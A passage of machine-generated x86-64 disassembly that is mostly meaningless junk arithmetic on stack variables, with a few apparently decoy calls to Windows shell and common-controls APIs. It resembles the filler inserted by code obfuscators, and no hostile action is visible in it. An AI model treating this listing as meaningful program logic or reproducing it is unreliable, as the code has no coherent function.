movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d114], ax
mov rax, qword [rsp + 0xda98]
mov rcx, qword [rsp + 0xda78]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe198]
mov qword [rsp + 0xe480], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe480]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6f10], eax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x557], al
mov rax, qword [0x14019f320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe140]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x344], al
lea rax, [rsp + 0xdc18]
mov qword [rsp + 0xe488], rax
lea r9, [rsp + 0x6ee0]
lea r8, [rsp + 0xd668]
lea rdx, [rsp + 0x1e078]
lea rcx, [rsp + 0x2a5c]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x6f28], eax
mov eax, dword [rsp + 0x6e1c]
imul eax, dword [rsp + 0x6d6c]
mov dword [rsp + 0x6bd0], eax
mov rax, qword [0x14019f008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xddb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd68], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [0x14019f328], ax
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0xd6c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xabf8], rax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [0x14019f2c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd128], rax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov word [rsp + 0x2db0], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d30], ax
movsx eax, byte [rsp + 0x554]
movsx ecx, byte [rsp + 0x50f]
shl eax, cl
mov byte [rsp + 0x551], al
mov rax, qword [rsp + 0xe408]
mov rax, qword [rax]
mov qword [rsp + 0xe490], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xe498], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe498]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xddf8]
mov rcx, qword [rsp + 0xd298]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9318], rax
movsx eax, word [rsp + 0x2c24]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d0cc], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d30]
and eax, ecx
mov word [rsp + 0x2bdc], ax
movzx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xde68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f0], al
mov eax, dword [rsp + 0x6ec8]
mov dword [rsp + 0x6f38], eax
mov rax, qword [rsp + 0xd650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc68], rax
mov rax, qword [rsp + 0xe3d8]
mov rcx, qword [rsp + 0xe408]
mov qword [rsp + 0xe4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4a0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x98e0], rax
mov eax, dword [rsp + 0x6454]
movzx ecx, al
mov eax, dword [rsp + 0x6e78]
shr eax, cl
mov dword [rsp + 0x5ad8], eax
movzx eax, byte [rsp + 0x522]
mov byte [rsp + 0x558], al
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b0c], ax
lea rax, [0x14019f228]
mov qword [0x14019f330], rax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xdc38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd998], rax
lea rax, [rsp + 0x1d98]
mov qword [rsp + 0xe4a8], rax
movsx eax, word [rsp + 0x2c74]
mov rcx, qword [0x14019f288]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd588]
mov word [rcx], ax
lea rax, [rsp + 0x91a8]
mov qword [rsp + 0xe4b0], rax
mov rax, qword [rsp + 0xdff0]
mov ecx, dword [rsp + 0x6b64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd0d0]
mov dword [rcx], eax
mov rax, qword [0x14019d1b0]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd9a8]
mov qword [rcx], rax
lea rax, [rsp + 0x51d]
mov qword [rsp + 0xe4b8], rax
movzx eax, word [rsp + 0x1a30]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0xa678]
mov rcx, qword [0x14019f030]
mov qword [rsp + 0xe4c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4c0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019d1c8], rax
mov eax, dword [rsp + 0x6ef8]
mov dword [rsp + 0x6f3c], eax
movzx eax, byte [rsp + 0x521]
movzx ecx, byte [rsp + 0x4ee]
or eax, ecx
mov byte [rsp + 0x3fb], al
movsx eax, word [0x14019d0b8]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x20c4], ax
movzx eax, word [rsp + 0x28e0]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f5c], ax
movsx eax, byte [rsp + 0x445]
movsx ecx, byte [str.mA8xd_v0]
shl eax, cl
mov rcx, qword [rsp + 0xe140]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov qword [rsp + 0xe4c8], rax
mov eax, dword [rsp + 0x58c8]
mov ecx, dword [rsp + 0x6b64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [0x14019d030]
sub eax, ecx
mov word [rsp + 0x1d0c], ax
movzx eax, word [rsp + 0x10d8]
movzx ecx, word [rsp + 0x1cf4]
or eax, ecx
mov word [0x14019d02c], ax
mov rax, qword [rsp + 0xe3a0]
mov rcx, qword [rsp + 0xda20]
mov qword [rsp + 0xe4d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xca28], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019efe0]
shl rax, cl
mov qword [rsp + 0xe000], rax
lea rax, [rsp + 0xd6a0]
mov qword [rsp + 0xe4d8], rax
movsx eax, word [rsp + 0x162c]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2cf8], ax
movzx eax, byte [rsp + 0x544]
mov byte [rsp + 0x559], al
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5b3c]
mov dword [rsp + 0x6f08], eax
mov dword [rsp + 0x20], 0x60
lea r9, [rsp + 0xe030]
lea r8, [rsp + 0x6d18]
mov edx, 0x65
mov rcx, qword [rsp + 0xe4e0]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x6cd8], eax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xaaf8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdcf0], rax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22b]
add eax, ecx
mov byte [rsp + 0x3ff], al
mov rax, qword [rsp + 0xda60]
mov rcx, qword [rsp + 0xdbc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f0c], eax
mov rax, qword [rsp + 0xe3c0]
movzx eax, word [rax]
mov word [0x14019f338], ax
movzx eax, word [rsp + 0x2b98]
mov word [rsp + 0x2db4], ax
movzx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0xe458]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2580], ax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa830]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xe130], rax
mov rax, qword [rsp + 0xe328]
movzx eax, byte [rax]
mov byte [rsp + 0x55a], al
mov rax, qword [rsp + 0xdea8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0a8], rax
mov eax, dword [rsp + 0x6b5c]
mov rcx, qword [rsp + 0xd2f8]
mov qword [rsp + 0xe4e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x608c], eax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c00], ax
movzx eax, word [rsp + 0x26a8]
mov rcx, qword [0x14019f330]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd94], ax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xd6d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f118], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2db8], ax
mov rax, qword [0x14019d128]
movzx ecx, al
mov rax, qword [rsp + 0xd5e8]
shl rax, cl
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xe4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe4f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc120], rax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xcb68]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd1e8]
mov qword [rcx], rax
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov dword [rsp + 0x6f40], eax
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3dd], al
mov eax, dword [rsp + 0x6540]
imul eax, dword [0x14019efa8]
mov dword [rsp + 0x6e70], eax
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x55b], al
mov rax, qword [rsp + 0xd750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f2f8], ax
mov r9d, 0xe1
lea r8, [rsp + 0xd540]
lea rdx, [fcn.140181f50]
mov rcx, qword [rsp + 0xd370]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x6bb8], eax
movsx eax, word [rsp + 0x2b38]
movsx ecx, word [rsp + 0x151c]
add eax, ecx
mov word [rsp + 0x2ab4], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0xd7a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x124c], ax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d94]
and eax, ecx
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xda08]
movzx ecx, al
mov rax, qword [rsp + 0xccc8]
shl rax, cl
mov qword [rsp + 0xdf38], rax
mov eax, dword [rsp + 0x6b20]
mov dword [rsp + 0x6f44], eax
movsx eax, byte [rsp + 0x4f4]
mov rcx, qword [rsp + 0xe140]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x506], al
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x178c], ax
lea rdx, [rsp + 0x1e068]
lea rcx, [rsp + 0x200e0]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xe3e8], rax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b14]
sub eax, ecx
mov word [rsp + 0x2cc8], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [0x14019d160]
add rcx, rax
mov rax, rcx
mov qword [0x14019d1d0], rax
mov rax, qword [rsp + 0xe4b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc048]
mov qword [rsp + 0xe4f8], rax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d160]
sar rax, cl
mov rcx, qword [rsp + 0xd890]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [rsp + 0x2dbc], ax
mov eax, dword [rsp + 0x6e20]
movzx ecx, al
mov eax, dword [rsp + 0x6e3c]
shl eax, cl
mov dword [rsp + 0x6d80], eax
movzx eax, byte [rsp + 0x543]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x507], al
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xd3b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc4a8], rax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e44], eax
lea rax, [rsp + 0x4f5]
mov qword [0x14019f340], rax
movzx eax, word [rsp + 0x1bd4]
mov word [rsp + 0x2dc0], ax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [0x14019f190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1770], ax
movzx eax, word [rsp + 0x2c40]
movzx ecx, word [rsp + 0x2dbc]
xor eax, ecx
mov word [rsp + 0x1b78], ax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0xdb10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa410]
shl rax, cl
mov qword [rsp + 0xa980], rax
lea rax, [rsp + 0x503]
mov qword [rsp + 0xe500], rax
mov eax, dword [rsp + 0x6de4]
mov rcx, qword [rsp + 0xe0a0]
mov qword [rsp + 0xe508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe508]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b8c], eax
movzx eax, word [rsp + 0x2b44]
mov word [rsp + 0x2dc4], ax
movzx eax, word [rsp + 0x2894]
movzx ecx, word [rsp + 0x2b08]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xe3a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb340]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfe8], rax
movzx eax, word [0x14019ef98]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x124c], ax
mov eax, dword [rsp + 0x6a8c]
mov dword [rsp + 0x6f48], eax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x34f]
sub eax, ecx
mov byte [rsp + 0x502], al
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
shl eax, cl
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xd4f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa3b0], rax
mov eax, dword [rsp + 0x630c]
movzx ecx, al
mov eax, dword [0x14019f2cc]
shr eax, cl
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xdb70]
movzx eax, word [rax]
mov word [rsp + 0x2dc8], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xd5f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f1cc], ax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe4b0]
mov qword [rcx], rax
mov edx, 0x73
mov rcx, qword [rsp + 0xe510]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xdd58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb348], rax
movsx eax, word [rsp + 0x2d88]
movsx ecx, word [0x14019d0cc]
xor eax, ecx
mov word [rsp + 0x13d8], ax
movzx eax, word [rsp + 0x2d68]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b18], ax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov dword [rsp + 0x6f4c], eax
mov rax, qword [0x14019f290]
mov rcx, qword [rsp + 0xe3b8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f98], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0x9d98]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
sar rax, cl
mov qword [rsp + 0xd250], rax
movzx eax, word [rsp + 0x1af8]
mov word [0x14019f348], ax
movzx eax, word [rsp + 0x2a70]
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x450]
sub eax, ecx
mov rcx, qword [rsp + 0xdd98]
mov byte [rcx], al
mov eax, dword [rsp + 0x6e24]
mov ecx, dword [0x14019efac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd480]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe2e8]
mov qword [rsp + 0xe518], rax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd658], rax
mov edx, 0xe6
lea rcx, [rsp + 0xd3c0]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6f28], eax
mov rax, qword [0x14019f158]
mov ecx, dword [rsp + 0x6e84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64a8], eax
movsx eax, byte [rsp + 0x53a]
movsx ecx, byte [rsp + 0x149]
sar eax, cl
mov byte [rsp + 0xf7], al
lea rcx, [rsp + 0x2a58]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xd038], rax
movsx eax, word [rsp + 0x2120]
mov rcx, qword [rsp + 0xde90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bb0], ax
movzx eax, word [rsp + 0x2ce0]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14019f330]
mov word [rcx], ax
mov rax, qword [rsp + 0xd3f8]
mov qword [rsp + 0xe520], rax
movzx eax, word [rsp + 0x2380]
movzx ecx, word [rsp + 0x2c6c]
xor eax, ecx
mov word [rsp + 0x2894], ax
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2c68]
and eax, ecx
mov word [rsp + 0x1578], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xe490]
mov rcx, qword [rsp + 0xd3b8]
mov qword [rsp + 0xe528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe528]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa570], rax
mov rax, qword [rsp + 0xce70]
movzx eax, byte [rax]
mov byte [rsp + 0x55c], al
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5f6c]
shr eax, cl
mov dword [rsp + 0x6cf4], eax
movzx eax, word [rsp + 0x2400]
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0xb340]
mov qword [0x14019f350], rax
movzx eax, byte [rsp + 0x450]
movzx ecx, byte [rsp + 0xa8]
or eax, ecx
mov byte [rsp + 0x543], al
mov eax, dword [rsp + 0x6eac]
mov ecx, dword [0x14019efa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58e8], eax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x116c]
add eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x124c], ax
mov eax, dword [rsp + 0x6da8]
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0xe180]
mov rcx, qword [rsp + 0xe4c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc58], rax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0xe0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
sar eax, cl
mov word [rsp + 0x2a6c], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d1d8], ax
mov rax, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xd758]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rdx, qword [rsp + 0xd368]
mov rcx, qword [rsp + 0xe530]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xdb80], rax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov qword [rsp + 0xe538], rax
mov rax, qword [0x14019efe8]
mov rcx, qword [rsp + 0xdf40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa538], rax
movzx eax, word [rsp + 0x20a8]
mov word [rsp + 0x2dd4], ax
mov rax, qword [rsp + 0xd960]
mov ecx, dword [rsp + 0x6ddc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d84], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [0x14019f1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd988], rax
movsx eax, byte [rsp + 0x550]
movsx ecx, byte [rsp + 0x76]
sar eax, cl
mov byte [rsp + 0x26b], al
mov rax, qword [rsp + 0xda28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a8c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov byte [rsp + 0x55d], al
movsx eax, word [rsp + 0x2d10]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14019efd8], ax
movzx eax, word [rsp + 0x2c48]
movzx ecx, word [0x14019f18c]
sub eax, ecx
mov word [rsp + 0x2dbc], ax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b2c]
sub eax, ecx
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0xd3d0]
mov rcx, qword [rsp + 0xbe80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d78], rax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66a4], eax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov qword [rsp + 0xe540], rax
movsx eax, byte [rsp + 0x114]
movsx ecx, byte [rsp + 0x550]
add eax, ecx
mov rcx, qword [rsp + 0xe500]
mov byte [rcx], al
movzx eax, word [rsp + 0x2dc0]
mov word [rsp + 0x2dd8], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d74]
add eax, ecx
mov word [rsp + 0x11d4], ax
mov rax, qword [rsp + 0x9ca8]
mov qword [0x14019f358], rax
movzx eax, word [rsp + 0x2b04]
movzx ecx, word [rsp + 0x2b98]
xor eax, ecx
mov rcx, qword [rsp + 0xd800]
mov word [rcx], ax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0xe270]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb020], rax
mov rax, qword [0x14019d040]
mov rcx, qword [rsp + 0xda20]
mov qword [rsp + 0xe548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe548]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd6c8], rax
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x55e], al
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [rsp + 0xd960]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6dcc], eax
movzx eax, byte [rsp + 0x527]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xde68]
mov byte [rcx], al
lea rax, [rsp + 0x6f38]
mov qword [rsp + 0xe550], rax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccc8], rax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d07c], ax
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0xe558], rax
movzx eax, word [rsp + 0x150c]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bd8], ax
movzx eax, word [0x14019d1c4]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c70], ax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd9f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3eb], al
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xde80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe248], rax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
mov dword [rsp + 0x6f54], eax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1804]
and eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d088], rax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd890]
mov qword [rsp + 0xe560], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe560]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov rcx, qword [0x14019f2b0]
mov qword [rsp + 0xe568], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe568]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xcb98], rax
mov rax, qword [rsp + 0xdb58]
mov qword [rsp + 0xe570], rax
movzx eax, word [rsp + 0x1494]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1be0], ax
lea rax, [rsp + 0x4e9]
mov qword [rsp + 0xe578], rax
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6eac], eax
mov rax, qword [rsp + 0xd5d0]
mov rcx, qword [rsp + 0xdfc8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov byte [rsp + 0x55f], al
mov rax, qword [rsp + 0xe0a0]
mov ecx, dword [rsp + 0x6db0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [0x14019d1dc], eax
movsx eax, word [rsp + 0x2d78]
